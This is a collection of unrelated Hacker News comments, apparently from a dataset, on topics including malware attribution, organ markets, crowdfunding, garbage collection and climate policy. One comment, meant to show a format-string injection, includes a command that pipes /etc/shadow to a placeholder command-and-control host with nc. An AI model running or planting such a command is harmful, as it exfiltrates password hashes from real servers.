skysight-inc/HackerNews huggingface dataset:
Perhaps they're trying to learn from the mistakes of 'WMD hysteria' that gripped the world media in the lead up to the Iraq War?

I mean if the intelligence community is going to drum up shoddy evidence that could potentially lead to war, I'd sure hope the media would spend an inordinate amount of time trying to combat it.
Russians are the most likely users of the Ukrainian-made malware either way as the most likely place for them to promote it is russian-speaking cyberspace they share with each other without a language barrier.
Crowd funding makes sense however when there is large consumer demand for a product deemed impossible or otherwise not desirable by major established players.

Star Citizen is a great example of this as major publishers had no desire for a truly PC-centric next-gen space sim with very large worlds (4+ billion KM per face) and nested physics grids.

Sure the end product is behind schedule but people backed it to break new ground, and that's exactly what it's doing.

Something like SC would never be made under traditional funding models
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To alleviate concerns associated with commercialization, compensation could be limited to fixed payments or to benefit packages that include insurance, tax deductions for travel, lodging and lost wages, or paid donor leave.

Is there a coherent argument for creating a "market" where sellers are banned from realizing the full market value of the thing they are selling? I guess people will say gouging, but that doesn't really work for an organ market (2 kidneys are actually better than 1, there's nothing short term or unusual about the shortage).
The point is the article cherry-picks a single point of data and claims it's the only point of data, when in reality the whole sum of the IOC is what identifies Russia, not any specific piece of malware.
This is a beautiful essay, and I've really enjoyed it. However, while interesting and inspirational it doesn't all ring true. Lisps from the years before generational garbage collection might spend five percent of their time in GC; in particularly awkward cases it might rise to ten percent. I'm not saying this was desirable: it was not, particularly in interactive processes. But it was nothing like 'usually spent between a third and half of their time running the garbage collector'.

I've seen some very long GCs indeed. I'm sure I've seen fifteen minute GCs. But I've never seen GC eat a third of the processor cycles. I don't believe it.
I found the perspective of the Finnish teachers quite useful and interesting. I've been in electrical engineering for awhile and have been contemplating teaching as a second career, as I know many engineers do. But so used to real autonomy in my day to day or even week to week activities, I can't imagine going from this life to that. Reading about NCLBA and common core and the like never seemed burdensome but perhaps I was wrong. In any event, I don't foresee teaching in my future anymore. Too bad. Perhaps in another country.
What makes a user interface modern?
People have the right to make poor investments.
> Wool In The Gang, a supplier of knitting kits, was acquired for about the same price that investors put in; Crowdcube backers got a gift certificate in lieu of payment

This really surprised me, but it appears that investors had a choice between receiving cash or gift certificates worth more according to a Crowdcube blog post (http://blog.crowdcube.com/2016/08/30/over-5-million-has-been...):

> Investors will receive their initial investment back plus a 5% return or a Wool and the Gang gift voucher, which would give them a 20% return on their investment.

Nonetheless 5% return on such a risky investment doesn't seem great.
While definitely cool.. for the love of all that is good, please don't do this on anything in production that isn't leveraging a huge existing codebase.

Hybrid projects to JS and the browser are just plain a nightmare to work with. They're never as light as they should be and almost always impossible to debug/diagnose issues.
And this guy thinks every buck goes directly into tribes and such. Reality check: that's not how the world works. They probably get peanuts -if they get anything at all-. Please stop being delusional and justifying non-sense with more non-sense.
I don't see the point of precise handwritten software notation. Pseudocode is a thinking tool because of its ambiguity and looseness. We need to process problems in a number of passes of increasing precision and correctness, so we want to start with something that is more vague than a programming language. When we are ready for precision we can write the code, using encapsulation to manage how much of the problem we bite off at a time.

Also the point about pseudocode being unnecessarily cumbersome is not true IMO, because we don't need to adhere to any language syntax that we find redundant. I've never seen an audience to a whiteboard script complain about a missing colon or self/this keyword when the human context made it unnecessary.
Ridiculous article.

The parable of the broken window: https://en.wikipedia.org/wiki/Parable_of_the_broken_window
The first article you linked seems to indicate that most scientists in peer reviewed papers were actually predicting warming, not cooling (42 papers vs 7 papers). Also, I didn't read it carefully but I did not see anything mentioning the government claiming these things.

However, I think it's still an important point that climate change skeptics CLAIM to have been told these these in the 70s, and use it as an important part of their argument.
The mainstream media has earned the mistrust, Greenwald isn't powerful enough to impose it.
> They don't do it initially to lock the purchases so much so as to ensure people aren't getting free hardware.

This is an interesting thought I hadn't considered until now.
I suspect, like most sane people, it's more likely that he doesn't want the US to start a f•cking war with Russia over drummed up evidence.
Rosetta Stone online. For me, picture-based learning seems to work well.

I also use online flashcards (Anki can be a useful tool for making your own online flashcard decks).
Dogs of Character
I know it's been out for a couple years and often touted as the next cool thing, but I feel that 2017 will be the year of docker/containers in general. A lot of the tooling around the space has started to really mature, and offerings across the major cloud providers and Docker inc make this an obvious target.
It seems the format string can run commands on the server.

I don't know Python, so this is a pseudo code example that a user could enter:

"{system('nc c_and_c_box.example < /etc/shadow \
> /dev/null')} Nothing to see here, move along"
> Note that there is no reason, in principle (at least that I'm aware of) that "formal logic" might not ultimately turn out to be an emergent aspect of a sufficiently complex ANN.

In principle, one reason against the ANN purist's approach for replicating human intelligence is that it ignores all the things our brains already have programmed from the moment we step into the world; we obviously aren't anything close to a blank slate. So I think there's a burden on advocates of pure ANN to explain why our core intelligence or "formal logic" is in fact independent of this pre-programming.
Isn't part of Ukraine now Russia? Sooo.....
Care to elaborate please?
It does simplify things but do you feel if cheating could be curbed we still need locked down consoles?
> forthcoming DAM

Your thread is 2015. From Affinity a couple months ago:

"I'm not able to give any definitive timeline as they are details I am not privy to. Personally I would not expect to see it in 2017, but that does not mean things might not change."

https://affinity.serif.com/forum/index.php?/topic/25835-digi...
What are the affordable parts of Long Island or Connecticut that are affordable and close to Manhattan? The parts of Connecticut that are suburbs close to NYC are known for being where the rich people live. [1]

[1] https://en.wikipedia.org/wiki/Gold_Coast_(Connecticut)
So is the flip side true? Do I have the right to clean out your parents bank account and get them to get a second mortgage on their house and give it to me, and then tell them, "Oh wait, it wasn't free energy after all, it was something else. Well, fail fast that's my motto. See ya!"
If I call eval(string) am I emitting unescaped user input to the eval function?

I guess the definition of "injest" here is reading bytes off the wire?
Does the USS Enterprise (NCC-1701) count as a time machine?
I'm not sure I understand the use case for reversing the formatting variables, but you could do this to make old-style formatting work that way:

>>> 'hello, %s %s' % tuple(reversed(['smith', 'bob']))
'hello, bob smith'

I think it's more readable if you abstract that bit into a lambda function:

>>> rev_args = lambda *args: tuple(reversed(args))
>>> 'hello, %s %s' % rev_args('smith', 'bob')
'hello, bob smith'
Read the first two words of the page.

Thought "fuck you".

Closed the page.

Try and make something actually useful.
It's distributed in English with an English interface.
You got that wrong: 6000 is the number of people are currenly dying from organ shortage, not the number of organs extracted from road accidents victims.

Since one donor can provide more than one vital organ for transplant the balance is more like: 32 000 less deaths on the road, 100 000 less organs donated.
Why? It's not as if they're saying that self-driving cars are terrible and should be banned because of this. They're merely identifying a non-obvious problem that will result from self-driving cars, and discussing potential fixes. It seems obvious that the tradeoff will be a huge net positive, but that doesn't mean we should ignore the negative parts.
I can respect them for their ability to control a classroom, to empathize with, and to motivate young children.

I cannot in any meaningful way respect, the breadth, rigor or quality of undergraduate ed-major programs in the US. Graduates of these programs may have respectable knowledge and skills-but that is an exception unique to the individual.

Apparently, the facts are misogynous. Damn, damn facts.
Looking at piratebay, there are 1000+ seeders on most of the recent AAA PC titles. Who knows if those people would actually shell out 60$ for a game, but it still is a real issue the PC gaming market faces.

With current generation consoles, piracy has so far been impossible. Perhaps in the future this won't be the case, but currently every purchase is legit. I can't see any scenario where going from 0 piracy to who knows how much piracy would be rational
> > 1. Many of us lived through the 1960s and 1970s, when the government and scientists claimed we were heading into an ice age. Didn't happen.

> I lived through the 60's and 70's and I do not recall ever hearing this. You're going to have to provide examples of this to bring me into this tent.

(I believe climate change is real, is happening, and is caused by human activity).

It's weird that people say warnings about ice ages were non existent, because they really weren't.

We can talk about whether they were taken seriously by relevant scientists, or if they were just pop-sci nonsense, but we can't say they didn't exist.

https://en.wikipedia.org/wiki/Global_cooling

I guess I'm responding in particular to your words:

> and I do not recall ever hearing this.

when perhaps I should be reading

> and I do not recall ever hearing this from scientists.
I have no idea what you're talking about. You've twisted subtle phrasing in a comment into an absurd conspiracy.
Re: increasing donations -- I've always wondered why it doesn't work roughly as follows: if you're an adult who finds yourself in need of a donated organ and are not yourself a donor, you're at the bottom of the list (below any donors) as a potential recipient from strangers who are donors. Puts the incentive in the right place and seems fair to me. What are the issues with that idea?

Maybe the donor system would need to be made an opt-out rather than opt-in system first (as the article suggests), otherwise ignorance could be an issue.
I know I've come across a case once where I wanted a recursive anonymous function in Erlang, but I don't remember the context. Couldn't do it in R16.

One use case that comes to mind would be nested data structures where you'd like to iterate over each child's children.
The Pocket Guide to Bullshit Prevention (2014)
indeed, I have heard paramedics refer to the vehicles as "donor-cycles"
Thanks for the helpful reply to my rather pissy comment.
Yeah, that was what I tried at first. Unfortunately I'm an extremely heavy sleeper and the alarm on the Dexcom device doesn't wake me up. My wife was waking up to the alarm and then she would wake me. She travels frequently for work though so that wasn't ideal either.

Also though, which model do you have?

I have the G4 Platinum w/Share. The sensors for it now ship with a warning sheet stating that you may not receive audible alarms due to issues with the speakers.
About Erlang memory model : The answer is that Erlang has two different memory models, because it has two paradigms.

Inside an Actor, you are running whatever you want. That sequential part of erlang has a graph memory model, but you could write it in any other language and model, as soon as you write an Actor.

Outside an Actor, you are in the non graph society of actors. And this one is closer to general system architecture, and is rarely talked about. Which probably explain why it is rare to find a memory model of it.
I don't think there's any actual prohibition on that. I suspect that the transparency requirements for public listing would be the barrier since venture funds trail hedge funds in secrecy by a sideways glance.
> One is a mother in mid-30's that loves the idea of effortlessly capturing moments with her kids.

Then they need to IPO immediately.

The moment its demographic moves from tweens to adults is the moment a social network begins its downfall.
So you want someone to pay you 27 bucks to take their deepest darkest secretes, all of their lifes troubles, and store them on your servers of unknown levels of security then you want to print that out (automatically revealing it's contents to at least one person printing everything), then finally you want to ship it through an unspecified postal service.

Yea maybe I'm paranoid but I don't think I'd be writing much other then "had coffee" or "walked dog". I'd definetly not say who I'm in love with, what I'm working on, how my social life is going, what experiments I'm working. Sadly that's exactly the kind of contents that you want in a journal.

Edit: My bad, 29 dollars, not 27.
Why are you commenting if you don't understand what's being talked about?
Personally I wouldn't want to live in a society where poor people are exploited for their organs so wealthier people may live.
This is one of those reasons I decide to drink from water bottles.

Yes, there may be traces of antimony in it, but tap water, usually well controlled at the reservoire, presents too high a risk of exposure to various metals and bioforms due to decaying infrastructure.
don't you have to be an accredited investor [1]. I certainly don't qualify to be one, i suspect lot of people don't either.

1. https://en.wikipedia.org/wiki/Accredited_investor#United_Sta...
It's almost as if algebra would also make more sense with better variable names, rather than simple letters...
That's fraud not crowdfunding. If it's a sincere attempt to start a business, crowdfunding seems like a fine idea. Though I agree, it is a lemon market and I wouldn't participate myself. Many people will lose money doing this, but the cost of freedom is some people will make poor investments.
We've been on that "verge" for three decades if you bought into the hype, and it's going to be a couple more decades before synthetic kidneys, livers, and hearts hit the clinic.
Well, cars came into being at first as steam driven, but the weight was high and there were no hard roads, so they got along on tracks = rail road. Later smaller gasoline driven machines came along (first Benz) and it advanced because it freed us from costly, maintenance intensive, food intensive and crap/pee intensive horses. Before cars many large city street were 2-3 feet deep in horse shit.
As for control, huge latency issues would hinder large amounts of traffic.
Wouldn't people just wait until they need an organ to join the list? How does punishing a subset of needy organ recipients increase the actual number of available organs?
>Is there a coherent argument for creating a "market" where sellers are banned from realizing the full market value of the thing they are selling?

Nope. The ban on organ sales is killing thousands of people every year in the US alone.
People are rather bad at handling low-probability events. We underestimate the likelihood of bad events, and overestimate the likelihood of good events. If people were purely rational, your solution would work. However, people would underestimate the chance that they themselves will need an organ transplant, and so the lower chance of getting a transplant if needed would not be a good motivator.

I am strongly in favor of organ donation being opt-out, rather than opt-in.
that would reduce the numbers and with automation and better batteries and a universal grid it might have a chance?
"I also never learned that there are smart people who aren’t “smart.”"

Rule of thumb for me, "^Street smarts^, will kick ^smart, smarts^ arse, most times." Important to remember this if you live by "'wit', not name".
The support forum thread started by the developer is in russian (many people living in Ukraine speak both Russian and Ukranian so there is no contradictions with an Ukranian flag on the download page): https://rdot.org/forum/showthread.php?t=1567
I went to the past show put on by Eureka Comedy in SF [1][2]. The speaker said that a type of artificial pancreas now in testing is more efficient than a healthy pancreas. If that is correct, it might become the norm at some point to just swap out natural organs for synthetic ones, at least for those who can afford it. Maybe organ collection and distribution will become a function of Goodwill Industries as people donate their original natural organs.

[1] http://www.eurekacomedy.com

[2] https://www.eventbrite.com/e/eureka-tickets-26689373635
If 1 in 5 donations come from a car accident victim, and there are 30,970 organ donations a year in the US[1]. That means 6,194 of those donations are from car accidents.

[1] https://www.organdonor.gov/statistics-stories/statistics.htm...
I guess using lots of words like "reactive" and "functional"
Does it run on https://github.com/plasma-umass/browsix ?
Train networks around the world are usually subsidised and run at a loss, it's hardly unique to China.
Doesn't mean anything, the thing is still way more likely to be promoted inside the community than reaching international recognition or any international users really.
Ah, yes, I've had that heavy-head issue, but I wouldn't think your phone would be louder than that alarm. Is it?

I have G5 with Share (I think; I have a drawer full of old Dexcom stuff) and have gotten the same letter, but haven't had that issue. I definitely trust it more than Dexcom pairing with the phone. I'm glad your setup is working for you, though.
> Not sure why the post above has been downvoted to 0. Too bad. It's some of the best research we've ever done.

Any post on HN that implies that anyone other than Vladimir Putin himself is responsible for Clinton's defeat will get downvotes...I've lost about 15 points on various posts downplaying this narrative. The Silicon Valley crowd simply cannot tolerate any hint of an alternate narrative.
Can this be automated as a script such that if I forget a day, the computer will automatically write something like "walked the dog, was nice"?
Good. Don't create a company in France. We don't want to work for you anyway.
I laughed out loud when I saw this and thought "Genius!" I love the negative reinforcement and I love the cheat day upgrade. Being a huge type snob / nerd / jerk, I, too, would love to at least have some exemplars of the finished product (maybe even a size? perfect bound? saddle stitched?) before plunking down my money. But the psychology is a home run. Kudos.
wrt climate change, any plan that excludes China and India is short sighted and wrong, which almost every proposed plan has done. Beyond this, the U.S. would do more to reduce emissions by eliminating "express/air" delivery services.

Most plans/suggestions don't even look at the economics, or secondary factors. Like open-mining of rare minerals, mercury, etc in the mfg of low-energy light bulbs.

I'm all for reducing pollution and waste... I have a hyper-sensitive sense of smell, and the smog even in Phx is getting to be too much, let alone other cities I've been to. And, littering in general just pisses me off... but having 4-5 containers for recycling to sort things into, and then having that basically be a jobs program for sorters, when in the end most of it is still land-filled is a bit wasteful in itself.

There needs to be some pragmatism in terms of getting the biggest bang for the buck, and ineffective feel-good programs aren't the way to do get real impacting change.

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In terms of trade, not allowing trade with countries that don't meet or exceed U.S. quality of life requirements for workers would be a start. Disallowing diesel ships the ability to dock in U.S. ports over the next decade would do a lot as well. Disallowing airmail transport of packages, or heavily taxing would help a lot too.

Tax credits for hiring employees with less than a 20 minute commute could also go a long way too. Include employees able to work from home at least 60% of the time.

Enacting a national energy tax on companies with over 1000 employees could be a large impact as well.

It's possible to do a lot of these things without creating a lot of hard to manage subsidies that will exist long beyond the reasons for making them in the first place.
That's what they are proposing. They want to limit the prices paid for organs to avoid people feeling squeamish.

Case A: Organs can be sold for $10,000 only. Lots of people do it.

Case B: Organs can be sold for whatever. Lots of people do it for more than $10,000.

I find Case B far less exploitative.
Lending Club almost went broke in the late 2000s when it experimented with real P2P lending. Defaults on the loans chosen by lenders went up, so Lending Club had to improve its underwriting model and effectively exclude the lender from the decision making process.

Equity crowdfunding is the same as P2P lending but more volatile (since equity is a claim on everything what's left after paying everyone else). It's harder than lending. And we haven't seen successful examples of P2P lending yet.

Another thing is, we had crowdfunding in 1929. It turned out badly, so now we have the SEC and many restrictions on equity offerings.
Crowdfunding for products makes a lot of sense. But this article is about equity crowdfunding, which is crowdfunding not for presales of a product, but for return on investment. That makes substantially less sense.
Right, obviously you'd need to record the date they opted in and not give someone "credit" for registering once they were in need of a donation. It would help to increase the number of available organs because some people who don't care to register now might do so knowing that it means if they ever get into an accident they have a higher likelihood of receiving an organ.
Not entirely orthogonal, as they both have an effect on the number of donations. The fact that the shortage will be caused by self-driving cars is unrelated to the solutions to a shortage. As you mention, we can't ethically prevent this shortage by increasing car accidents, so we should look for other sources.